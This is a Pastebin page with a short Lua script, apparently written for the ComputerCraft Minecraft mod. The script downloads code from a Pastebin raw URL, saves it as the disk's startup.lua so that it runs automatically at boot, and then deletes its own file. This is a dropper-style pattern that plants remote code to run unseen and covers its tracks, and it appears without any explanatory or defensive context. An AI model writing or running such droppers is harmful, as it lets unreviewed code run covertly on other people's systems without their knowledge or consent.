Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local path = "/disk/startup.lua"
- local url = "https://pastebin.com/raw/7T0VjGUG"
- if fs.isDir("/disk") then
- local response = http.get(url)
- if response then
- local file = fs.open(path, "w")
- file.write(response.readAll())
- file.close()
- response.close()
- end
- end
- local self = shell.getRunningProgram()
- if fs.exists(self) then
- fs.delete(self)
- end
Advertisement
Add Comment
Please, Sign In to add comment